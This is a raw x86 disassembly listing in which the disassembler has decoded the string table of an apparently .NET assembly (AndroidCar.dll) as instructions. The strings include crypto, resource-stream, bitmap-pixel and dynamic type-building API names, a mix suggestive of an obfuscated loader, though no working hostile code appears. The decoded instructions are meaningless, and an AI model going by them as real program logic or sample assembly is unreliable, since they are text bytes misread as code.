4230ec:	6e                   	outsb  %ds:(%esi),(%dx)
4230ed:	79 41                	jns    0x423130
4230ef:	74 74                	je     0x423165
4230f1:	72 69                	jb     0x42315c
4230f3:	62 75 74             	bound  %esi,0x74(%ebp)
4230f6:	65 00 52 75          	add    %dl,%gs:0x75(%edx)
4230fa:	6e                   	outsb  %ds:(%esi),(%dx)
4230fb:	74 69                	je     0x423166
4230fd:	6d                   	insl   (%dx),%es:(%edi)
4230fe:	65 43                	gs inc %ebx
423100:	6f                   	outsl  %ds:(%esi),(%dx)
423101:	6d                   	insl   (%dx),%es:(%edi)
423102:	70 61                	jo     0x423165
423104:	74 69                	je     0x42316f
423106:	62 69 6c             	bound  %ebp,0x6c(%ecx)
423109:	69 74 79 41 74 74 72 	imul   $0x69727474,0x41(%ecx,%edi,2),%esi
423110:	69
423111:	62 75 74             	bound  %esi,0x74(%ebp)
423114:	65 00 52 65          	add    %dl,%gs:0x65(%edx)
423118:	61                   	popa
423119:	64 42                	fs inc %edx
42311b:	79 74                	jns    0x423191
42311d:	65 00 54 41 55       	add    %dl,%gs:0x55(%ecx,%eax,2)
423122:	41                   	inc    %ecx
423123:	67 00 53 79          	add    %dl,0x79(%bp,%di)
423127:	73 74                	jae    0x42319d
423129:	65 6d                	gs insl (%dx),%es:(%edi)
42312b:	2e 54                	cs push %esp
42312d:	68 72 65 61 64       	push   $0x64616572
423132:	69 6e 67 00 45 6e 63 	imul   $0x636e4500,0x67(%esi),%ebp
423139:	6f                   	outsl  %ds:(%esi),(%dx)
42313a:	64 69 6e 67 00 53 79 	imul   $0x73795300,%fs:0x67(%esi),%ebp
423141:	73
423142:	74 65                	je     0x4231a9
423144:	6d                   	insl   (%dx),%es:(%edi)
423145:	2e 52                	cs push %edx
423147:	75 6e                	jne    0x4231b7
423149:	74 69                	je     0x4231b4
42314b:	6d                   	insl   (%dx),%es:(%edi)
42314c:	65 2e 56             	gs cs push %esi
42314f:	65 72 73             	gs jb  0x4231c5
423152:	69 6f 6e 69 6e 67 00 	imul   $0x676e69,0x6e(%edi),%ebp
423159:	46                   	inc    %esi
42315a:	72 6f                	jb     0x4231cb
42315c:	6d                   	insl   (%dx),%es:(%edi)
42315d:	42                   	inc    %edx
42315e:	61                   	popa
42315f:	73 65                	jae    0x4231c6
423161:	36 34 53             	ss xor $0x53,%al
423164:	74 72                	je     0x4231d8
423166:	69 6e 67 00 52 65 61 	imul   $0x61655200,0x67(%esi),%ebp
42316d:	64 53                	fs push %ebx
42316f:	74 72                	je     0x4231e3
423171:	69 6e 67 00 47 65 74 	imul   $0x74654700,0x67(%esi),%ebp
423178:	53                   	push   %ebx
423179:	74 72                	je     0x4231ed
42317b:	69 6e 67 00 53 79 73 	imul   $0x73795300,0x67(%esi),%ebp
423182:	74 65                	je     0x4231e9
423184:	6d                   	insl   (%dx),%es:(%edi)
423185:	2e 44                	cs inc %esp
423187:	72 61                	jb     0x4231ea
423189:	77 69                	ja     0x4231f4
42318b:	6e                   	outsb  %ds:(%esi),(%dx)
42318c:	67 00 42 69          	add    %al,0x69(%bp,%si)
423190:	6e                   	outsb  %ds:(%esi),(%dx)
423191:	61                   	popa
423192:	72 79                	jb     0x42320d
423194:	53                   	push   %ebx
423195:	65 61                	gs popa
423197:	72 63                	jb     0x4231fc
423199:	68 00 43 6f 6d       	push   $0x6d6f4300
42319e:	70 75                	jo     0x423215
4231a0:	74 65                	je     0x423207
4231a2:	48                   	dec    %eax
4231a3:	61                   	popa
4231a4:	73 68                	jae    0x42320e
4231a6:	00 56 65             	add    %dl,0x65(%esi)
4231a9:	72 69                	jb     0x423214
4231ab:	66 79 48             	data16 jns 0x4231f6
4231ae:	61                   	popa
4231af:	73 68                	jae    0x423219
4231b1:	00 4d 61             	add    %cl,0x61(%ebp)
4231b4:	74 68                	je     0x42321e
4231b6:	00 67 65             	add    %ah,0x65(%edi)
4231b9:	74 5f                	je     0x42321a
4231bb:	57                   	push   %edi
4231bc:	69 64 74 68 00 4e 65 	imul   $0x77654e00,0x68(%esp,%esi,2),%esp
4231c3:	77
4231c4:	6f                   	outsl  %ds:(%esi),(%dx)
4231c5:	62 6a 00             	bound  %ebp,0x0(%edx)
4231c8:	41                   	inc    %ecx
4231c9:	73 79                	jae    0x423244
4231cb:	6e                   	outsb  %ds:(%esi),(%dx)
4231cc:	63 43 61             	arpl   %eax,0x61(%ebx)
4231cf:	6c                   	insb   (%dx),%es:(%edi)
4231d0:	6c                   	insb   (%dx),%es:(%edi)
4231d1:	62 61 63             	bound  %esp,0x63(%ecx)
4231d4:	6b 00 63             	imul   $0x63,(%eax),%eax
4231d7:	61                   	popa
4231d8:	6c                   	insb   (%dx),%es:(%edi)
4231d9:	6c                   	insb   (%dx),%es:(%edi)
4231da:	62 61 63             	bound  %esp,0x63(%ecx)
4231dd:	6b 00 44             	imul   $0x44,(%eax),%eax
4231e0:	65 63 6c 61 72       	arpl   %ebp,%gs:0x72(%ecx,%eiz,2)
4231e5:	65 4c                	gs dec %esp
4231e7:	6f                   	outsl  %ds:(%esi),(%dx)
4231e8:	63 61 6c             	arpl   %esp,0x6c(%ecx)
4231eb:	00 44 65 66          	add    %al,0x66(%ebp,%eiz,2)
4231ef:	69 6e 65 4c 61 62 65 	imul   $0x6562614c,0x65(%esi),%ebp
4231f6:	6c                   	insb   (%dx),%es:(%edi)
4231f7:	00 4d 61             	add    %cl,0x61(%ebp)
4231fa:	72 6b                	jb     0x423267
4231fc:	4c                   	dec    %esp
4231fd:	61                   	popa
4231fe:	62 65 6c             	bound  %esp,0x6c(%ebp)
423201:	00 47 65             	add    %al,0x65(%edi)
423204:	74 50                	je     0x423256
423206:	69 78 65 6c 00 43 61 	imul   $0x6143006c,0x65(%eax),%edi
42320d:	6c                   	insb   (%dx),%es:(%edi)
42320e:	6c                   	insb   (%dx),%es:(%edi)
42320f:	00 41 6e             	add    %al,0x6e(%ecx)
423212:	64 72 6f             	fs jb  0x423284
423215:	69 64 43 61 72 2e 64 	imul   $0x6c642e72,0x61(%ebx,%eax,2),%esp
42321c:	6c
42321d:	6c                   	insb   (%dx),%es:(%edi)
42321e:	00 47 65             	add    %al,0x65(%edi)
423221:	74 4d                	je     0x423270
423223:	61                   	popa
423224:	6e                   	outsb  %ds:(%esi),(%dx)
423225:	69 66 65 73 74 52 65 	imul   $0x65527473,0x65(%esi),%esp
42322c:	73 6f                	jae    0x42329d
42322e:	75 72                	jne    0x4232a2
423230:	63 65 53             	arpl   %esp,0x53(%ebp)
423233:	74 72                	je     0x4232a7
423235:	65 61                	gs popa
423237:	6d                   	insl   (%dx),%es:(%edi)
423238:	00 67 65             	add    %ah,0x65(%edi)
42323b:	74 5f                	je     0x42329c
42323d:	42                   	inc    %edx
42323e:	61                   	popa
42323f:	73 65                	jae    0x4232a6
423241:	53                   	push   %ebx
423242:	74 72                	je     0x4232b6
423244:	65 61                	gs popa
423246:	6d                   	insl   (%dx),%es:(%edi)
423247:	00 43 72             	add    %al,0x72(%ebx)
42324a:	79 70                	jns    0x4232bc
42324c:	74 6f                	je     0x4232bd
42324e:	53                   	push   %ebx
42324f:	74 72                	je     0x4232c3
423251:	65 61                	gs popa
423253:	6d                   	insl   (%dx),%es:(%edi)
423254:	00 4d 65             	add    %cl,0x65(%ebp)
423257:	6d                   	insl   (%dx),%es:(%edi)
423258:	6f                   	outsl  %ds:(%esi),(%dx)
423259:	72 79                	jb     0x4232d4
42325b:	53                   	push   %ebx
42325c:	74 72                	je     0x4232d0
42325e:	65 61                	gs popa
423260:	6d                   	insl   (%dx),%es:(%edi)
423261:	00 67 65             	add    %ah,0x65(%edi)
423264:	74 5f                	je     0x4232c5
423266:	49                   	dec    %ecx
423267:	74 65                	je     0x4232ce
423269:	6d                   	insl   (%dx),%es:(%edi)
42326a:	00 53 79             	add    %dl,0x79(%ebx)
42326d:	73 74                	jae    0x4232e3
42326f:	65 6d                	gs insl (%dx),%es:(%edi)
423271:	00 53 79             	add    %dl,0x79(%ebx)
423274:	6d                   	insl   (%dx),%es:(%edi)
423275:	6d                   	insl   (%dx),%es:(%edi)
423276:	65 74 72             	gs je  0x4232eb
423279:	69 63 41 6c 67 6f 72 	imul   $0x726f676c,0x41(%ebx),%esp
423280:	69 74 68 6d 00 48 61 	imul   $0x73614800,0x6d(%eax,%ebp,2),%esi
423287:	73
423288:	68 41 6c 67 6f       	push   $0x6f676c41
42328d:	72 69                	jb     0x4232f8
42328f:	74 68                	je     0x4232f9
423291:	6d                   	insl   (%dx),%es:(%edi)
423292:	00 6d 6d             	add    %ch,0x6d(%ebp)
423295:	00 49 43             	add    %cl,0x43(%ecx)
423298:	72 79                	jb     0x423313
42329a:	70 74                	jo     0x423310
42329c:	6f                   	outsl  %ds:(%esi),(%dx)
42329d:	54                   	push   %esp
42329e:	72 61                	jb     0x423301
4232a0:	6e                   	outsb  %ds:(%esi),(%dx)
4232a1:	73 66                	jae    0x423309
4232a3:	6f                   	outsl  %ds:(%esi),(%dx)
4232a4:	72 6d                	jb     0x423313
4232a6:	00 52 65             	add    %dl,0x65(%edx)
4232a9:	61                   	popa
4232aa:	64 42                	fs inc %edx
4232ac:	6f                   	outsl  %ds:(%esi),(%dx)
4232ad:	6f                   	outsl  %ds:(%esi),(%dx)
4232ae:	6c                   	insb   (%dx),%es:(%edi)
4232af:	65 61                	gs popa
4232b1:	6e                   	outsb  %ds:(%esi),(%dx)
4232b2:	00 4d 69             	add    %cl,0x69(%ebp)
4232b5:	6e                   	outsb  %ds:(%esi),(%dx)
4232b6:	00 41 70             	add    %al,0x70(%ecx)
4232b9:	70 44                	jo     0x4232ff
4232bb:	6f                   	outsl  %ds:(%esi),(%dx)
4232bc:	6d                   	insl   (%dx),%es:(%edi)
4232bd:	61                   	popa
4232be:	69 6e 00 67 65 74 5f 	imul   $0x5f746567,0x0(%esi),%ebp
4232c5:	43                   	inc    %ebx
4232c6:	75 72                	jne    0x42333a
4232c8:	72 65                	jb     0x42332f
4232ca:	6e                   	outsb  %ds:(%esi),(%dx)
4232cb:	74 44                	je     0x423311
4232cd:	6f                   	outsl  %ds:(%esi),(%dx)
4232ce:	6d                   	insl   (%dx),%es:(%edi)
4232cf:	61                   	popa
4232d0:	69 6e 00 49 6e 74 65 	imul   $0x65746e49,0x0(%esi),%ebp
4232d7:	72 61                	jb     0x42333a
4232d9:	63 74 69 6f          	arpl   %esi,0x6f(%ecx,%ebp,2)
4232dd:	6e                   	outsb  %ds:(%esi),(%dx)
4232de:	00 53 79             	add    %dl,0x79(%ebx)
4232e1:	73 74                	jae    0x423357
4232e3:	65 6d                	gs insl (%dx),%es:(%edi)
4232e5:	2e 52                	cs push %edx
4232e7:	65 66 6c             	gs data16 insb (%dx),%es:(%edi)
4232ea:	65 63 74 69 6f       	arpl   %esi,%gs:0x6f(%ecx,%ebp,2)
4232ef:	6e                   	outsb  %ds:(%esi),(%dx)
4232f0:	00 73 65             	add    %dh,0x65(%ebx)
4232f3:	74 5f                	je     0x423354
4232f5:	50                   	push   %eax
4232f6:	6f                   	outsl  %ds:(%esi),(%dx)
4232f7:	73 69                	jae    0x423362
4232f9:	74 69                	je     0x423364
4232fb:	6f                   	outsl  %ds:(%esi),(%dx)
4232fc:	6e                   	outsb  %ds:(%esi),(%dx)
4232fd:	00 49 6e             	add    %cl,0x6e(%ecx)
423300:	76 61                	jbe    0x423363
423302:	6c                   	insb   (%dx),%es:(%edi)
423303:	69 64 4f 70 65 72 61 	imul   $0x74617265,0x70(%edi,%ecx,2),%esp
42330a:	74
42330b:	69 6f 6e 45 78 63 65 	imul   $0x65637845,0x6e(%edi),%ebp
423312:	70 74                	jo     0x423388
423314:	69 6f 6e 00 53 74 72 	imul   $0x72745300,0x6e(%edi),%ebp
42331b:	69 6e 67 43 6f 6d 70 	imul   $0x706d6f43,0x67(%esi),%ebp
423322:	61                   	popa
423323:	72 69                	jb     0x42338e
423325:	73 6f                	jae    0x423396
423327:	6e                   	outsb  %ds:(%esi),(%dx)
423328:	00 4d 65             	add    %cl,0x65(%ebp)
42332b:	74 68                	je     0x423395
42332d:	6f                   	outsl  %ds:(%esi),(%dx)
42332e:	64 49                	fs dec %ecx
423330:	6e                   	outsb  %ds:(%esi),(%dx)
423331:	66 6f                	outsw  %ds:(%esi),(%dx)
423333:	00 43 6f             	add    %al,0x6f(%ebx)
423336:	6e                   	outsb  %ds:(%esi),(%dx)
423337:	73 74                	jae    0x4233ad
423339:	72 75                	jb     0x4233b0
42333b:	63 74 6f 72          	arpl   %esi,0x72(%edi,%ebp,2)
42333f:	49                   	dec    %ecx
423340:	6e                   	outsb  %ds:(%esi),(%dx)
423341:	66 6f                	outsw  %ds:(%esi),(%dx)
423343:	00 53 68             	add    %dl,0x68(%ebx)
423346:	6f                   	outsl  %ds:(%esi),(%dx)
423347:	77 4d                	ja     0x423396
423349:	61                   	popa
42334a:	70 00                	jo     0x42334c
42334c:	42                   	inc    %edx
42334d:	69 74 6d 61 70 00 53 	imul   $0x6c530070,0x61(%ebp,%ebp,2),%esi
423354:	6c
423355:	65 65 70 00          	gs gs jo 0x423359
423359:	45                   	inc    %ebp
42335a:	6e                   	outsb  %ds:(%esi),(%dx)
42335b:	64 41                	fs inc %ecx
42335d:	70 70                	jo     0x4233cf
42335f:	00 41 6e             	add    %al,0x6e(%ecx)
423362:	64 72 6f             	fs jb  0x4233d4
423365:	69 64 43 61 72 00 43 	imul   $0x68430072,0x61(%ebx,%eax,2),%esp
42336c:	68
42336d:	61                   	popa
42336e:	72 00                	jb     0x423370
423370:	49                   	dec    %ecx
423371:	6e                   	outsb  %ds:(%esi),(%dx)
423372:	76 6f                	jbe    0x4233e3
423374:	6b 65 4d 65          	imul   $0x65,0x4d(%ebp),%esp
423378:	6d                   	insl   (%dx),%es:(%edi)
423379:	62 65 72             	bound  %esp,0x72(%ebp)
42337c:	00 42 69             	add    %al,0x69(%edx)
42337f:	6e                   	outsb  %ds:(%esi),(%dx)
423380:	61                   	popa
423381:	72 79                	jb     0x4233fc
423383:	52                   	push   %edx
423384:	65 61                	gs popa
423386:	64 65 72 00          	fs gs jb 0x42338a
42338a:	53                   	push   %ebx
42338b:	48                   	dec    %eax
42338c:	41                   	inc    %ecx
42338d:	31 43 72             	xor    %eax,0x72(%ebx)
423390:	79 70                	jns    0x423402
423392:	74 6f                	je     0x423403
423394:	53                   	push   %ebx
423395:	65 72 76             	gs jb  0x42340e
423398:	69 63 65 50 72 6f 76 	imul   $0x766f7250,0x65(%ebx),%esp
42339f:	69 64 65 72 00 52 53 	imul   $0x41535200,0x72(%ebp,%eiz,2),%esp
4233a6:	41
4233a7:	43                   	inc    %ebx
4233a8:	72 79                	jb     0x423423
4233aa:	70 74                	jo     0x423420
4233ac:	6f                   	outsl  %ds:(%esi),(%dx)
4233ad:	53                   	push   %ebx
4233ae:	65 72 76             	gs jb  0x423427
4233b1:	69 63 65 50 72 6f 76 	imul   $0x766f7250,0x65(%ebx),%esp
4233b8:	69 64 65 72 00 44 45 	imul   $0x53454400,0x72(%ebp,%eiz,2),%esp
4233bf:	53
4233c0:	43                   	inc    %ebx
4233c1:	72 79                	jb     0x42343c
4233c3:	70 74                	jo     0x423439
4233c5:	6f                   	outsl  %ds:(%esi),(%dx)
4233c6:	53                   	push   %ebx
4233c7:	65 72 76             	gs jb  0x423440
4233ca:	69 63 65 50 72 6f 76 	imul   $0x766f7250,0x65(%ebx),%esp
4233d1:	69 64 65 72 00 4d 65 	imul   $0x74654d00,0x72(%ebp,%eiz,2),%esp
4233d8:	74
4233d9:	68 6f 64 42 75       	push   $0x7542646f
4233de:	69 6c 64 65 72 00 4d 	imul   $0x6f4d0072,0x65(%esp,%eiz,2),%ebp
4233e5:	6f
4233e6:	64 75 6c             	fs jne 0x423455
4233e9:	65 42                	gs inc %edx
4233eb:	75 69                	jne    0x423456
4233ed:	6c                   	insb   (%dx),%es:(%edi)
4233ee:	64 65 72 00          	fs gs jb 0x4233f2
4233f2:	54                   	push   %esp
4233f3:	79 70                	jns    0x423465
4233f5:	65 42                	gs inc %edx
4233f7:	75 69                	jne    0x423462
4233f9:	6c                   	insb   (%dx),%es:(%edi)
4233fa:	64 65 72 00          	fs gs jb 0x4233fe
4233fe:	4c                   	dec    %esp
4233ff:	6f                   	outsl  %ds:(%esi),(%dx)
423400:	63 61 6c             	arpl   %esp,0x6c(%ecx)
423403:	42                   	inc    %edx
423404:	75 69                	jne    0x42346f
423406:	6c                   	insb   (%dx),%es:(%edi)
423407:	64 65 72 00          	fs gs jb 0x42340b
42340b:	50                   	push   %eax
42340c:	61                   	popa
42340d:	72 61                	jb     0x423470
42340f:	6d                   	insl   (%dx),%es:(%edi)
423410:	65 74 65             	gs je  0x423478
423413:	72 42                	jb     0x423457
423415:	75 69                	jne    0x423480
423417:	6c                   	insb   (%dx),%es:(%edi)